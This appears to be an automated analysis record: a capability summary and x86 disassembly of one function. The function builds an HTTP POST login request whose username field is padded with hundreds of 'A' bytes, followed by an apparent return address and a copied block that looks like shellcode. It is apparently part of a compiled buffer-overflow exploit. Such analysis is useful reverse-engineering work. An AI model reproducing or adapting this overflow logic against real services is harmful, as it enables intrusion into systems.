Function at 0x4016eb
Capabilities:
Contain obfuscated stackstrings
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x32c
lea eax, [ebp - 0x192]
mov ebx, str.POST__login_HTTP_1.1_r_nHost:_172.16.116.222_r_nUser_Agent:_Mozilla_5.0__X11__Linux_86_64__rv:52.0__Gecko_20100101_Firefox_52.0_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9___q0.8_r_nAccept_Language:_en_US_en_q0.5_r_nReferer:_http:__172.16.116.222_login_r_nConnection:_close_r_nContent_Type:_application_x_www_form_urlencoded_r_nContent_Length:
mov edx, 0x162
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1a0], 0xa0d0a0d
mov dword [ebp - 0x19c], 0x72657375
mov dword [ebp - 0x198], 0x656d616e
mov word [ebp - 0x194], 0x3d
mov dword [ebp - 0x1c], 0x30c
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x41
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x1c]
lea edx, [eax - 1]
mov eax, dword [ebp - 0x20]
add eax, edx
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x1a5], 0x735275cb
mov byte [ebp - 0x1a1], 0
lea eax, [ebp - 0x314]
mov edx, 0x40a280
mov ecx, 0x5b
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, word [edx]
mov word [eax], cx
lea eax, [eax + 2]
lea edx, [edx + 2]
movzx ecx, byte [edx]
mov byte [eax], cl
mov dword [ebp - 0x320], 0x73617026
mov dword [ebp - 0x31c], 0x726f7773
mov dword [ebp - 0x318], 0x413d64
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
lea eax, [ebp - 0x1a5]
mov dword [esp], eax
call sym._strlen
add ebx, eax
lea eax, [ebp - 0x314]
mov dword [esp], eax
call sym._strlen
add ebx, eax
lea eax, [ebp - 0x320]
mov dword [esp], eax
call sym._strlen
add eax, ebx
add eax, 9
mov dword [ebp - 0x24], eax
mov dword [esp], 0xf
call sym._malloc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40a118
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x192]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym._strlen
lea edx, [ebx + eax]
mov eax, dword [ebp - 0x1c]
lea ebx, [edx + eax]
lea eax, [ebp - 0x1a5]
mov dword [esp], eax
call sym._strlen
add ebx, eax
lea eax, [ebp - 0x1a0]
mov dword [esp], eax
call sym._strlen
add ebx, eax
lea eax, [ebp - 0x314]
mov dword [esp], eax
call sym._strlen
add ebx, eax
lea eax, [ebp - 0x320]
mov dword [esp], eax
call sym._strlen
add eax, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x192]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcpy
mov eax, dword [ebp - 0x28]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x1a5]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x314]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x320]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strcat
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call sym._SendRequest
nop
add esp, 0x32c
pop ebx
pop esi
pop edi
pop ebp
ret